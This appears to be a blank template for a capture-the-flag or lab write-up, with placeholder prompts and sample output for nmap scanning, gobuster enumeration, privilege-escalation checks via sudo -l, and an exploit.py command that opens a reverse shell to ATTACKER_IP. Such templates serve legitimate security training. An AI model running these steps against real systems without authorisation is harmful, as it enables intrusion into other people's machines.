Describe initial recon steps here.
$ nmap -sC -sV -oN nmap/initial TARGET_IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9
80/tcp open http Apache 2.4Describe deeper enumeration here.
$ gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt
/admin (Status: 302)
/uploads (Status: 301)Describe how you gained initial access.
# exploit description here
$ python3 exploit.py --target TARGET_IP --lhost ATTACKER_IP
[+] shell receivedDescribe privesc path here.
$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/BINARY